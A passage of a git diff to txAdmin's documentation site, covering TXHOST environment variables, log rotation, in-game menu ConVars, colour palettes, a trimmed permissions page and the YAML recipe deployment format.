CommandCard, StepList } from "@ui/components"; + +# Environment Configuration + +Starting from txAdmin v8.0.0, you can now customize txAdmin through `TXHOST_*` environment variables documented in this page. + +Those configurations are usually required for Game Server Providers (GSPs) and advanced server owners, and allow them to force txAdmin and FXServer to use specific ports/interfaces, customize the location of the txData directory, force a max player slot count, etc. + +
+ +
+

Deprecated Configuration

+

The `txAdminPort`, `txAdminInterface`, and `txDataPath` ConVars, as well as the `txAdminZapConfig.json` file are now considered deprecated and will cease to work in an upcoming update. If the new and old configs are present at the same time, the new one will take priority. Set `TXHOST_IGNORE_DEPRECATED_CONFIGS` to `true` to disable the old config and silence warnings.

+
+
+ +## Setup + +The specific way to set up those variables vary from system to system, and there are usually multiple ways even within the same system. But these should work for most people: + +**Windows:** +- Edit your existing `start__.bat` to add the `set VAR_NAME=VALUE` commands before the `./<...>/FXServer.exe` line. +- Alternatively, create a `env.bat` file with the `set` commands, then start your server with `call env.bat && FXServer.exe`. + +**Linux:** +- Edit your existing `run.sh` to add the `export VAR_NAME=VALUE` commands before the `exec $SCRIPTPATH/[...]` line. +- Alternatively, create a `env.sh` file with the `export` commands, then start with `source env.sh && ./run.sh`. + +**Docker:** +- Create a `.env` file with the vars like: `VAR_NAME=VALUE` +- Load it using the `--env-file=.env` flag in your docker run command. + +**Pterodactyl:** +- You will likely need to contact your GSP or edit the "egg" being used. + +
+ +
+

Security Recommendation

+

For security reasons, those environment variables should be set specifically for the boot process and must not be widely available for other processes. If they are to be written to a file (such as `.env`), the file should only be readable for the txAdmin process and not its children processes.

+
+
+ +## General Configuration + +**TXHOST_DATA_PATH** +- **Default value:** + - **Windows:** `/../txData` — sits in the folder parent of the folder containing `fxserver.exe` + - **Linux:** `/../../../txData` — sits in the folder that contains your `run.sh` +- The path to the txData folder, which contains the txAdmin logs, configs, and data. +- This is also the default place suggested for deploying new servers as a subfolder. +- Usually set to `/home/container` when running on Pterodactyl. +- **Note:** This variable takes priority over the deprecated `txDataPath` ConVar. + +**TXHOST_GAME_NAME** +- **Default value:** _undefined_ +- **Options:** `fivem`, `redm` +- Restricts to only running either FiveM or RedM servers. +- The setup page will only show recipes for the game specified. + +**TXHOST_INTERFACE** +- **Default value:** `0.0.0.0` +- Which interface txAdmin will bind and enforce FXServer to bind to. +- **Note:** This variable takes priority over the deprecated `txAdminInterface` ConVar. + +**TXHOST_MAX_SLOTS** +- **Default value:** _undefined_ +- Enforces the server `sv_maxClients` is set to a number less than or equal to the variable value. + +**TXHOST_QUIET_MODE** +- **Default value:** `false` +- If true, do not pipe the FXServer's stdout/stderr to txAdmin's stdout. +- You will only be able to see server output by visiting the txAdmin Live Console page. +- If enabled, server owners won't be able to disable it in `txAdmin → Settings → FXServer`. +- **Note:** Game Server Providers should enable this option. + +## Networking Configuration + +**TXHOST_TXA_PORT** +- **Default value:** `40120` +- Which TCP port txAdmin should bind & listen to. +- This variable cannot be `30120` to prevent user confusion. +- **Note:** This variable takes priority over the deprecated `txAdminPort` ConVar. + +**TXHOST_TXA_URL** +- **Default value:** _undefined_ +- If present, that is the URL that will show on txAdmin as its public URL on the boot message. +- Useful for when running inside a container using `0.0.0.0:40120` as interface/port. + +**TXHOST_FXS_PORT** +- **Default value:** _undefined_ +- Forces the FXServer to bind to the specified port. +- Enforces or replaces the `endpoint_add_*` commands in `server.cfg`. +- This variable cannot be `40120` to prevent user confusion. + +## API & Hosting Configuration + +**TXHOST_API_TOKEN** +- **Default value:** _undefined_ +- **Options:** `disabled` or a string matching `/^[A-Za-z0-9_-]{16,48}$/` +- The token to access the `/host/status` endpoint via the `x-txadmin-envtoken` HTTP header or `?envtoken=` URL parameter. +- If _undefined_: endpoint disabled & unavailable +- If token is string `disabled`: endpoint will be publicly available without restrictions +- If token is present: endpoint requires the token to be present + +**TXHOST_PROVIDER_NAME** +- **Default value:** `Host Config` +- A short name to identify this hosting provider. +- Must be between 2 and 16 characters long. +- Can only contain letters, numbers, underscores, periods, hyphens, and spaces. +- Must not start or end with special chars, and must not have two subsequent special chars. + +**TXHOST_PROVIDER_LOGO** +- **Default value:** _undefined_ +- The URL for the hosting provider logo which will appear at the login page. +- Maximum image size is **224x96**. +- You can create a theme-aware URL by including a `{theme}` placeholder, which will be replaced by `light` or `dark`. +- Example: `https://.../logo_{theme}.png` + +## Deployer Defaults + +These variables are used only for auto-filling the config steps when deploying a new server: + +**TXHOST_DEFAULT_DBHOST, TXHOST_DEFAULT_DBPORT, TXHOST_DEFAULT_DBUSER, TXHOST_DEFAULT_DBPASS, TXHOST_DEFAULT_DBNAME** +- **Default value:** _undefined_ +- Used for auto-filling database configuration during deployment. +- All values are considered strings, and no validation is done. +- Can be overwritten during manual deployment or after by modifying `server.cfg`. + +**TXHOST_DEFAULT_CFXKEY** +- **Default value:** _undefined_ +- Used for auto-filling the Cfx.re key during deployment. +- Should be a `cfxk_xxxxxxxxxxxxxxxxxxxxx_xxxxxx` key from the [Cfx.re Portal](https://portal.cfx.re/). +- Very useful for developers who need to go through txAdmin Setup & Deployer frequently. + +**TXHOST_DEFAULT_ACCOUNT** +- **Default value:** _undefined_ +- Used by GSPs for setting up an `admins.json` automatically on first boot. +- Format: `username:fivemId:bcryptHash` (separated by colons) + - **Username:** Must match the FiveM account username if FiveM ID is provided + - **FiveM ID:** Numeric ID of a FiveM account (e.g., `271816` for `fivem:271816`) + - **Password:** Bcrypt-hashed password as "backup password" +- The account must have at least either FiveM ID or password set. +- Examples: + - `tabarra:271816` + - `tabarra:271816:$2a$11$K3HwDzkoUfhU6.W.tScfhOLEtR5uNc9qpQ685emtERx3dZ7fmgXCy` + - `tabarra::$2a$11$K3HwDzkoUfhU6.W.tScfhOLEtR5uNc9qpQ685emtERx3dZ7fmgXCy` + +## Examples + +### Windows Development Server with env.bat + +```batch +@REM Deployer defaults +set TXHOST_DEFAULT_CFXKEY=cfxk_11hIT156dX0F0ekFVsuda_fQ0ZYS +set TXHOST_DEFAULT_DBHOST=127.0.0.1 +set TXHOST_DEFAULT_DBPORT=3306 +set TXHOST_DEFAULT_DBUSER=root +set TXHOST_DEFAULT_DBPASS=4b6c3_1919_ab04df6 +set TXHOST_DEFAULT_DBNAME=coolrp_dev + +@REM Prevent conflicting with main server +set TXHOST_DATA_PATH=C:/test-server/txData +set TXHOST_FXS_PORT=30125 +set TXHOST_MAX_SLOTS=8 +``` + +### Docker GSP Configuration + +```dotenv +# So txAdmin suggests the right path during setup +TXHOST_DATA_PATH=/home/container + +# Deployer defaults +TXHOST_DEFAULT_DBHOST=123.123.123.123 +TXHOST_DEFAULT_DBPORT=3306 +TXHOST_DEFAULT_DBUSER=u538241 +TXHOST_DEFAULT_DBPASS=4b6c3_1919_ab04df6 +TXHOST_DEFAULT_DBNAME=db538241 + +# Customer FiveM-linked account +TXHOST_DEFAULT_ACCOUNT=tabarra:271816 + +# Provider details +TXHOST_PROVIDER_NAME=ExampleHosting +TXHOST_PROVIDER_LOGO=https://github.com/citizenfx/txAdmin/raw/master/docs/banner.png +``` + +### Migrating from Old Config + +```diff + @echo off ++set TXHOST_DATA_PATH=E:\FiveM\txData-dev ++set TXHOST_TXA_PORT=40125 +-FXServer.exe +set serverProfile "server2" +set txAdminPort "40125" ++FXServer.exe + pause +``` diff --git a/content/docs/txadmin/linux/install.mdx b/content/docs/txadmin/linux/install.mdx new file mode 100644 index 0000000..1c01a9f --- /dev/null +++ b/content/docs/txadmin/linux/install.mdx @@ -0,0 +1,10 @@ +--- +title: Install and Setup +description: Complete guide to installing txAdmin on Linux. +--- + +import { InfoBanner } from '@ui/components/mdx-components'; + + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/linux/meta.json b/content/docs/txadmin/linux/meta.json index 82ab099..93611a8 100644 --- a/content/docs/txadmin/linux/meta.json +++ b/content/docs/txadmin/linux/meta.json @@ -1,4 +1,6 @@ { - "open": true, - "pages": [] + "defaultOpen": true, + "pages": [ + "install" + ] } \ No newline at end of file diff --git a/content/docs/txadmin/logs.mdx b/content/docs/txadmin/logs.mdx new file mode 100644 index 0000000..e52bdc4 --- /dev/null +++ b/content/docs/txadmin/logs.mdx @@ -0,0 +1,104 @@ +--- +title: "Logging" +description: "Understand txAdmin's persistent logging system with file rotation." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { FeatureList, PropertyCard } from "@ui/components"; + +# Logging + +In version v4.6.0, **txAdmin** added support for persistent logging with file rotation, meaning you will have an organized folder (`txData//logs/`) containing your log files up to a maximum size and number of days. + +> **Note:** Player warn/ban/whitelist actions are not just stored in the Admin Logs, but also on the players database. + +## Log Types + +### Admin Logs + +Contains log of administrative actions as well as some automated ones like server restarts, bans, warns, settings change, and live console input. + +- **Recent Buffer:** None. Methods will read the entire file. +- **Interval:** 7d +- **maxFiles:** false +- **maxSize:** false +- **Note:** Does not log the user IP unless from an authentication endpoint. + +### FXServer Console Log + +Contains the log of everything that happens in the FXServer console (`stdin`, `stdout`, `stderr`). Any live console input is prefixed with `> `. + +- **Recent Buffer:** 64~128kb +- **Interval:** 1d +- **maxFiles:** 7 +- **maxSize:** 5G + +### Server Logs + +Contains all actions that happen inside the server, such as player join/leave/die, chat messages, explosions, menu events, and commands. Player sources are kept in the format `[mutex#id] name` where the mutex is an identifier of that server execution. If you search the file for a `[mutex#id]`, the first result will be the player join with all his identifiers available. + +- **Recent Buffer:** 32k events +- **Interval:** 1d +- **maxFiles:** 7 +- **maxSize:** 10G + +## Configuring Log Rotation + +The log rotation can be configured, so you can choose to store more or less logs according to your needs. + +To configure it, edit your `txData//config.json` and add an object inside `logger` with the key being one of `[admin, fxserver, server]`. Then add option keys according with the [rotating-file-stream library reference](https://github.com/iccicci/rotating-file-stream#options). + +### Example: Custom FXServer Log Rotation + +```json +{ + "logger": { + "fxserver": { + "interval": "1d", + "maxSize": "2G", + "maxFiles": 14 + } + } +} +``` + +### Example: Disable Server Logs + +To completely disable one of the log types, set its value to `false`. + +```json +{ + "logger": { + "server": false + } +} +``` + +### Available Options + +The rotating-file-stream library supports various options: + +- **interval** - Rotation interval (e.g., `1d`, `7d`, `30d`) +- **maxSize** - Maximum size of rotated files to keep (e.g., `2G`, `500M`) +- **maxFiles** - Maximum number of rotated files to keep (e.g., `14`, `30`) +- **maxDays** - Maximum number of days to keep files +- **rotate** - Maximum number of files to keep in the main directory + +Refer to the [library documentation](https://github.com/iccicci/rotating-file-stream#options) for a complete list of available options. + +## Accessing Logs + +All logs are stored in the `txData//logs/` directory with the following structure: + +``` +logs/ +├── admin.log +├── fxserver.log +├── server.log +└── [rotated files with timestamps] +``` + +You can access these logs directly from the file system or through the txAdmin web panel under: +- **Admin Logs:** `txAdmin > Logs > Admin Logs` +- **FXServer Console:** `txAdmin > Logs > FXServer Console` +- **Server Logs:** `txAdmin > Logs > Server Logs` diff --git a/content/docs/txadmin/menu.mdx b/content/docs/txadmin/menu.mdx new file mode 100644 index 0000000..f7aac7b --- /dev/null +++ b/content/docs/txadmin/menu.mdx @@ -0,0 +1,125 @@ +--- +title: "In-Game Menu" +description: "Learn about txAdmin's in-game menu with player management tools." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { FeatureList, PropertyCard, CommandCard } from "@ui/components"; + +# In-Game Menu + +txAdmin v4.0.0 introduced an in-game menu equipped with common admin functionality, an online player browser, and a slightly trimmed down version of the web panel. + +You can find a short preview video [here](https://www.youtube.com/watch?v=jWKg0VQK0sc). + +## Accessing the Menu + +You can access the menu in-game by using the command `/tx` or `/txadmin`, or alternatively you can also use a keybind by going to `Game Settings > Key Bindings > FiveM` and setting the `(txAdmin) Menu: Open Main Page` option. + +### Permissions + +Anybody who you would like to give permissions to open the menu in-game must have a txAdmin account with either their Discord or Cfx.re identifiers tied to it. + +**If you do not have any of these identifiers attached, you will not be able to access the menu.** + +You can further control the menu options accessible to admins by changing their permissions in the admin manager. + +## Server ConVars + +The txAdmin menu has various ConVars that can alter the default behavior of the menu. ConVars configured in the settings page should not be set manually. + +### Settings Page Options + +**txAdmin-menuEnabled** +- **Description:** Whether the menu is enabled or not. Changing it requires server restart. +- **Default:** `true` + +**txAdmin-menuAlignRight** +- **Description:** Whether to align the menu to the right of the screen instead of the left. +- **Default:** `false` + +**txAdmin-menuPageKey** +- **Description:** Will change the key used for changing pages in the menu. +- **Value:** Must be the exact browser key code. Use [keycode.info](https://keycode.info/) and check the `event.code` section. +- **Default:** `Tab` + +**txAdmin-playerModePtfx** +- **Description:** Determine whether to play particles effects and sound whenever an admin's player mode is changed (god mode, noclip, etc). +- **Default:** `true` + +**txAdmin-hideAdminInPunishments** +- **Description:** Never show to the players the admin name on Bans or Warns. +- **Default:** `true` + +**txAdmin-hideAdminInMessages** +- **Description:** Do not show the admin name on Announcements or DMs. +- **Default:** `false` + +**txAdmin-hideDefaultAnnouncement** +- **Description:** Suppresses the display of announcements, allowing you to implement your own via the event `txAdmin:events:announcement`. +- **Default:** `false` + +**txAdmin-hideDefaultDirectMessage** +- **Description:** Suppresses the display of direct messages, allowing you to implement your own via the event `txAdmin:events:playerDirectMessage`. +- **Default:** `false` + +**txAdmin-hideDefaultWarning** +- **Description:** Suppresses the display of warnings, allowing you to implement your own via the event `txAdmin:events:playerWarned`. +- **Default:** `false` + +**txAdmin-hideDefaultScheduledRestartWarning** +- **Description:** Suppresses the display of scheduled restart warnings, allowing you to implement your own via the event `txAdmin:events:scheduledRestart`. +- **Default:** `false` + +### ConVar Only (Not in Settings Page) + +**txAdmin-debugMode** +- **Description:** Will toggle debug printing on the server and client. +- **Default:** `false` +- **Usage:** `setr txAdmin-debugMode true` + +**txAdmin-menuPlayerIdDistance** +- **Description:** The distance in which Player IDs become visible, if toggled on. Game engine limits tag display to ~300m. +- **Default:** `150` +- **Usage:** `setr txAdmin-menuPlayerIdDistance 100` + +**txAdmin-menuDrunkDuration** +- **Description:** How many seconds the drunk effect (troll action) should last. +- **Default:** `30` +- **Usage:** `setr txAdmin-menuDrunkDuration 120` + +**txAdmin-menuAnnounceNotiPos** +- **Description:** Determines the location of the txAdmin announcement notification. +- **Valid Positions:** `top-center`, `top-left`, `top-right`, `bottom-center`, `bottom-left`, `bottom-right` +- **Default:** `top-center` +- **Usage:** `set txAdmin-menuAnnounceNotiPos top-right` + +## Commands + +**tx | txadmin** +- **Description:** Will toggle the in-game menu. Optional argument to open a specific player's info. +- **Usage:** `/tx (playerID)`, `/txadmin (playerID)` +- **Required Permission:** Must be an admin registered in the Admin Manager + +**txAdmin-reauth** +- **Description:** Will retrigger the re-authentication process. +- **Usage:** `/txAdmin-reauth` +- **Required Permission:** None + +## Troubleshooting Menu Access + +- **If you type `/tx` and nothing happens:** Your menu is probably disabled. + +- **If you see a red message and are registered on txAdmin:** You can type `/txAdmin-reauth` in the chat to retry the authentication. + +- **If you can't authenticate with error "Invalid Request: source":** This means the source IP of the HTTP request made by FXServer to txAdmin is not a "localhost" one, which might occur if your host has multiple IPs. To disable this protection, edit your `config.json` file and add `webServer.disableNuiSourceCheck` with value `true` then restart txAdmin. + +## Development + +You can find development instructions regarding the menu [here](./development#nui-menu). + +## FAQ + +**Q: Why don't the 'Heal' options revive a player when using ESX/QBCore/etc?** + +**A:** Many frameworks independently handle a "dead" state for a player, meaning the menu is unable to reset this state in a framework-agnostic form. To establish compatibility with any framework, txAdmin will emit an [`txAdmin:events:playerHealed`](./api-events) event for developers to handle. diff --git a/content/docs/txadmin/meta.json b/content/docs/txadmin/meta.json index 7ffe89b..7d9f2f8 100644 --- a/content/docs/txadmin/meta.json +++ b/content/docs/txadmin/meta.json @@ -1,13 +1,24 @@ { "root": true, "pages": [ - "windows", "advanced", + "api-events", "backup-system", "configuration", + "custom-server-log", + "development", + "discord-bot", + "discord-status", + "env-config", + "logs", + "menu", + "palettes", "permissions", + "recipe", "server-management", + "translation", "troubleshooting", - "web-panel" + "windows", + "linux" ] } \ No newline at end of file diff --git a/content/docs/txadmin/palettes.mdx b/content/docs/txadmin/palettes.mdx new file mode 100644 index 0000000..b96374a --- /dev/null +++ b/content/docs/txadmin/palettes.mdx @@ -0,0 +1,107 @@ +--- +title: "Palettes Configuration" +description: "Color palettes and theming options for txAdmin." +--- + +import { FeatureList } from "@ui/components"; + +# Color Palettes + +txAdmin supports multiple color palette configurations for theming the interface. Palettes define the colors used for semantic states, backgrounds, and interactive elements. + +## Available Palettes + +### Semantic Palettes + +These palettes define semantic colors for different states and purposes: + +- **Dark Semantic** - Color scheme for dark mode semantic states + - Accent, Danger, Warning, Success, Info colors + +- **Light Semantic** - Color scheme for light mode semantic states + - Accent, Danger, Warning, Success, Info colors + +- **FiveM Semantic** - FiveM-specific semantic colors + - Primary, Error, Warning, Success, Info colors + +### Background Palettes + +These palettes define background, card, and surface colors: + +- **Dark Backgrounds** - Dark mode background colors + - New background, card, border, muted, secondary, and primary colors + +- **Light Backgrounds** - Light mode background colors + - New background, card, border, muted, secondary, and primary colors + +- **Dark v2** - Updated dark mode palette + - Background, card, border, muted, secondary, and primary variations + +- **Light v2** - Updated light mode palette + - Background, card, border, muted, secondary, and primary variations + +### FiveM Palettes + +- **FiveM Light** - Light theme based on FiveM branding +- **FiveM Dark** - Dark theme based on FiveM branding + +## Palette Structure + +Each palette contains a set of color swatches with the following structure: + +```json +{ + "paletteName": "palette-name", + "swatches": [ + { + "name": "color-name", + "color": "HEXCODE" + } + ] +} +``` + +## Default Colors + +### Semantic Colors + +| Color | Dark Hex | Light Hex | Purpose | +|-------|----------|-----------|---------| +| Accent | F50551 | F50551 | Primary action color | +| Danger | F86565 | EF4141 | Danger/destructive actions | +| Warning | E8C957 | E6C13A | Warning messages | +| Success | 51E47A | 39E669 | Success messages | +| Info | 5AC8E1 | 39C6E6 | Info messages | + +### Background Colors (Dark Mode) + +| Element | Color | +|---------|-------| +| New Background | 171516 | +| Card | 1F1C1E | +| Border | 322D31 | +| Muted | 2A2629 | +| Secondary | 463F44 | +| Primary Text | F9F3F8 | + +### Background Colors (Light Mode) + +| Element | Color | +|---------|-------| +| New Background | F9F4F8 | +| Card | EFEAEE | +| Border | D6D2D5 | +| Muted | DCD8DB | +| Secondary | B7B3B6 | +| Primary Text | 1B161A | + +## Customizing Palettes + +To customize the color palette for your txAdmin installation: + +1. Navigate to **txAdmin > Settings > Interface** +2. Select your preferred palette from the available options +3. The interface will update in real-time with the new colors +4. Changes are persisted in your `config.json` + +For advanced customization, you can directly edit the palette JSON in the configuration file or use the web interface color picker tools. diff --git a/content/docs/txadmin/permissions.mdx b/content/docs/txadmin/permissions.mdx index 864daca..6f4380c 100644 --- a/content/docs/txadmin/permissions.mdx +++ b/content/docs/txadmin/permissions.mdx @@ -3,401 +3,8 @@ title: Permissions System description: Configure user roles, permissions, and access control for your txAdmin server management team. --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid } from '@ui/components/mdx-components' +import { InfoBanner } from '@ui/components/mdx-components'; -This guide covers txAdmin's comprehensive permission system, allowing you to create custom roles and manage access control for your administrative team. - -## Understanding Permissions - -### Permission Levels - -txAdmin uses a role-based permission system with several predefined levels: - - - - - - - - - -## Setting Up Admin Accounts - -### Creating New Administrators - -#### Through Web Interface -1. Navigate to **Settings → Admins** -2. Click **Add New Admin** -3. Fill in account details: - ``` - Username: admin_username - Password: secure_password_123! - Display Name: Administrator Name - Role: Select appropriate role - ``` - -#### Account Configuration Options -- **Username:** Unique identifier for login -- **Display Name:** Name shown in logs and interface -- **Email:** For notifications and password reset -- **Discord ID:** Link Discord account for notifications -- **Two-Factor Auth:** Enable additional security - -### Permission Assignment - -#### Role Selection -Choose appropriate role based on responsibilities: - -**Server Owner/Lead Admin:** -- Assign **Master Admin** role -- Full access to all features -- Can manage other administrators - -**Technical Administrators:** -- Assign **Admin** role -- Server management and configuration -- Resource installation and updates - -**Community Moderators:** -- Assign **Moderator** role -- Player management and moderation -- Chat supervision and warnings - -**Support Staff:** -- Assign **View Only** role -- Access to help players -- Cannot make administrative changes - -## Custom Roles - -### Creating Custom Roles - -For advanced permission management, create custom roles: - - -```json -{ - "role_name": "custom_moderator", - "display_name": "Community Moderator", - "description": "Enhanced moderator with limited admin access", - "permissions": { - "server": { - "view_status": true, - "restart": false, - "console_access": true - }, - "players": { - "view_list": true, - "kick": true, - "ban_temporary": true, - "ban_permanent": false, - "warn": true, - "whitelist_manage": false - }, - "resources": { - "view_list": true, - "start_stop": false, - "install": false, - "configure": false - } - } -} -``` - - -### Permission Categories - - - - - - - - - -## Advanced Permission Management - -### Time-Based Permissions -Set up temporary permission changes: - -#### Temporary Promotions -```json -{ - "temp_permissions": { - "user_id": "admin_123", - "elevated_role": "admin", - "duration": "24h", - "reason": "Covering for absent admin", - "granted_by": "master_admin", - "auto_revert": true - } -} -``` - -#### Scheduled Access -Configure permissions that activate at specific times: - -```json -{ - "scheduled_access": { - "user_id": "night_moderator", - "schedule": "0 22 * * *", - "duration": "8h", - "permissions": ["enhanced_moderation"], - "timezone": "UTC" - } -} -``` - -### IP-Based Restrictions -Add additional security with IP restrictions: - -#### Admin IP Whitelisting -```json -{ - "ip_restrictions": { - "admin_123": { - "allowed_ips": [ - "192.168.1.100", - "203.0.113.0/24" - ], - "deny_other_ips": true, - "notify_on_violation": true - } - } -} -``` - -#### Location-Based Access -- **Office Network:** Full access from office IPs -- **Home Network:** Limited access from home -- **Mobile/Public:** View-only access for security -- **VPN Required:** Require VPN for external access - -## Security Features - -### Two-Factor Authentication - -#### Enabling 2FA -1. Go to **Settings → Security** -2. Enable **Two-Factor Authentication** -3. Scan QR code with authenticator app -4. Enter verification code to confirm - -#### 2FA Management -- **Recovery Codes:** Generate backup codes -- **App Selection:** Google Authenticator, Authy, etc. -- **Mandatory 2FA:** Require for all admin accounts -- **Grace Period:** Time before 2FA enforcement - -### Session Management - -#### Session Security -Configure secure session handling: - -```json -{ - "session_config": { - "timeout": 3600, - "max_concurrent": 2, - "secure_cookies": true, - "ip_binding": true, - "activity_timeout": 1800 - } -} -``` - -#### Login Monitoring -Track administrative access: - -- **Login Attempts:** Monitor failed login attempts -- **Session History:** Track active and past sessions -- **Location Tracking:** Monitor login locations -- **Device Tracking:** Identify login devices -- **Suspicious Activity:** Alert on unusual patterns - -### Audit Logging - -#### Administrative Actions -All administrative actions are logged: - -```json -{ - "audit_log": { - "timestamp": "2024-01-15T10:30:00Z", - "admin_id": "admin_123", - "action": "player_ban", - "target": "player_456", - "details": { - "reason": "Griefing", - "duration": "7d", - "ip_address": "192.168.1.100" - } - } -} -``` - -#### Log Categories -- **User Management:** Admin account changes -- **Permission Changes:** Role and permission modifications -- **Server Actions:** Server control operations -- **Player Actions:** Moderation activities -- **System Changes:** Configuration modifications - -## Permission Templates - -### Pre-configured Templates -Quick setup for common scenarios: - -#### Roleplay Server Template -```json -{ - "roles": { - "server_owner": { - "permissions": ["all"], - "description": "Server owner with full access" - }, - "head_admin": { - "permissions": ["server_management", "admin_management", "full_moderation"], - "description": "Senior administrator role" - }, - "roleplay_admin": { - "permissions": ["player_management", "resource_basic", "whitelist_control"], - "description": "Roleplay focused administrator" - }, - "chat_moderator": { - "permissions": ["player_view", "chat_moderation", "basic_kicks"], - "description": "Chat and community moderator" - } - } -} -``` - -#### Development Server Template -```json -{ - "roles": { - "lead_developer": { - "permissions": ["all"], - "description": "Lead developer with full access" - }, - "developer": { - "permissions": ["resource_full", "server_restart", "console_access"], - "description": "Resource developer role" - }, - "tester": { - "permissions": ["resource_view", "player_basic", "console_view"], - "description": "Testing and QA role" - } - } -} -``` - -## Best Practices - -### Permission Assignment Guidelines - -#### Principle of Least Privilege -- **Minimum Required:** Grant only necessary permissions -- **Role-Based:** Use roles rather than individual permissions -- **Regular Review:** Periodically audit permission assignments -- **Temporary Access:** Use time-limited permissions when possible - -#### Security Recommendations -- **Strong Passwords:** Enforce password complexity requirements -- **2FA Required:** Make two-factor authentication mandatory -- **IP Restrictions:** Limit access to known IP addresses -- **Session Monitoring:** Track and alert on unusual activity - -### Common Permission Scenarios - -#### Community Server Setup -1. **Server Owner:** Master admin with full control -2. **Community Managers:** Admin role for daily operations -3. **Moderators:** Limited moderation permissions -4. **Supporters:** View-only access for helping players - -#### Development Team Structure -1. **Project Lead:** Master admin for project oversight -2. **Senior Developers:** Full resource and server control -3. **Junior Developers:** Limited resource permissions -4. **QA Testers:** Testing-focused permissions - ---- - - -**Security Tip:** Regularly review and audit admin permissions to maintain server security. - - - -**Important:** Never share admin credentials. Create individual accounts for each team member. - \ No newline at end of file + +We are working hard to get the full txAdmin documentation done as soon as possible! + \ No newline at end of file diff --git a/content/docs/txadmin/recipe.mdx b/content/docs/txadmin/recipe.mdx new file mode 100644 index 0000000..6b7f340 --- /dev/null +++ b/content/docs/txadmin/recipe.mdx @@ -0,0 +1,304 @@ +--- +title: "Recipe Files" +description: "Learn about server deployment recipes for txAdmin." +--- + +import { AlertTriangle, Info } from "lucide-react"; +import { StepList, PropertyCard, CommandCard } from "@ui/components"; + +# Recipe Files + +A Recipe is a YAML document that describes how to deploy a server properly: from downloading resources, to configuring the `server.cfg` file. + +You can run a recipe from txAdmin's built-in Server Deployer. Recipes will be "jailed" to the target folder, so for example they won't be able to execute `write_file` to your `admins.json`. + +At the end of the deployment process, your target folder will be checked for the presence of a `server.cfg` and a `resources` folder to make sure everything went correctly. + +On the setup page you will be able to import a recipe via its URL or by selecting one of the recommended ones from the community. + +## Meta Data + +The recipe accepts the following default meta data: + +### Engine Specific Metadata *(optional)* + +- `$engine` - The recipe's target engine version +- `$minFxVersion` - The minimum required FXserver version for this recipe +- `$onesync` - The required onesync value to be set after deployment. Supports only `off`, `legacy`, `on` +- `$steamRequired` - Boolean declaring that the `steam_webApiKey` context variable MUST be set + +### General Tags *(strongly-recommended)* + +- `name` - The short name for your recipe. Recommended to be under 24 characters +- `version` - The version of your recipe +- `author` - The short name of the author. Recommended to be under 24 characters +- `description` - A single or multiline description. Recommended to be under 256 characters. On YAML you can use multiline strings in many ways, check [yaml-multiline.info](https://yaml-multiline.info) + +## Context Variables + +The deployer has a shared context between tasks, initially populated by the `variables` and the deployer step 2 (user input) for things like database configuration and string replacements. + +### Default Variables + +- `deploymentID` - Composed by the shortened recipe name with a hex timestamp (e.g., `PlumeESX_BBC957`) +- `serverName` - The name of the server specified in the setup page +- `recipeName`, `recipeAuthor`, `recipeVersion`, `recipeDescription` - Populated from recipe metadata if available +- `dbHost`, `dbPort`, `dbUsername`, `dbPassword`, `dbName`, `dbDelete`, `dbConnectionString` - Populated from database configuration +- `svLicense` - Required variable, inputted in deployer step 2. Will automatically replace `{{svLicense}}` in `server.cfg` +- `serverEndpoints` - The deployer will set this with endpoint_add_xxxx for the server +- `maxClients` - The number of max clients. Defaults to 48 or uses `TXHOST_MAX_SLOTS` variable + +### Custom Variables + +You can set custom variables in the recipe: + +```yaml +variables: + aaa: bbbb + ccc: dddd +``` + +## Tasks + +Tasks/actions are executed sequentially, and any failure in the chain stops the process. + +> **Attention:** Careful with the number of spaces used in the indentation. + +Every task can contain a `timeoutSeconds` option to increase its default value. + +### download_github + +Downloads a GitHub repository with an optional reference (branch, tag, commit hash) or subpath. If the directory structure does not exist, it is created. + +- `src` - The repository to be downloaded. Can be a URL or `repo_owner/repo_name` +- `ref` *(optional)* - Git reference (branch, tag, or commit hash). If none is set, queries GitHub API for default branch +- `subpath` *(optional)* - When specified, copies a subpath of the repository +- `dest` - The destination path for the downloaded file + +> **Note:** If you have more than 30 of this action, it is recommended to set the ref to avoid download errors. + +#### Examples + +```yaml +# Example with subpath and reference +- action: download_github + src: https://github.com/citizenfx/cfx-server-data + ref: 6eaa3525a6858a83546dc9c4ce621e59eae7085c + subpath: resources + dest: ./resources + +# Simple example +- action: download_github + src: esx-framework/es_extended + dest: ./resources/[esx]/es_extended +``` + +### download_file + +Downloads a file to a specific path. + +- `url` - The URL of the file +- `path` - The destination path for the downloaded file (must be a file name, not a path) + +```yaml +- action: download_file + url: https://github.com/citizenfx/cfx-server-data/archive/master.zip + path: ./tmp/cfx-server-data.zip +``` + +### unzip + +Extracts a ZIP file to a target folder. This will not work for tar files. + +- `src` - The source path +- `dest` - The destination path + +```yaml +- action: unzip + src: ./tmp/cfx-server-data.zip + dest: ./tmp +``` + +### move_path + +Moves a file or directory. The directory can have contents. This is an implementation of [fs-extra.move()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/move.md). + +- `src` - The source path (can be file or folder, cannot be root `./`) +- `dest` - The destination path (cannot be root `./`) +- `overwrite` *(optional, boolean)* - When true, replaces destination if it exists + +```yaml +- action: move_path + src: ./tmp/cfx-server-data-master/resources + dest: ./resources + overwrite: true +``` + +### copy_path + +Copy a file or directory. The directory can have contents. This is an implementation of [fs-extra.copy()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/copy.md). + +- `src` - The source path. If `src` is a directory, copies everything inside, not the directory itself +- `dest` - The destination path. If `src` is a file, `dest` cannot be a directory +- `overwrite` *(optional, boolean)* - When true, overwrite existing file or directory. Default is `true` +- `errorOnExist` *(optional, boolean)* - When overwrite is `false` and destination exists, throw an error. Default is `false` + +```yaml +- action: copy_path + src: ./tmp/cfx-server-data-master/resources/ + dest: ./resources +``` + +### remove_path + +Removes a file or directory. The directory can have contents. If the path does not exist, silently does nothing. This is an implementation of [fs-extra.remove()](https://github.com/jprichardson/node-fs-extra/blob/HEAD/docs/remove.md). + +- `path` - The path to be removed (cannot be root `./`) + +```yaml +- action: remove_path + path: ./tmp +``` + 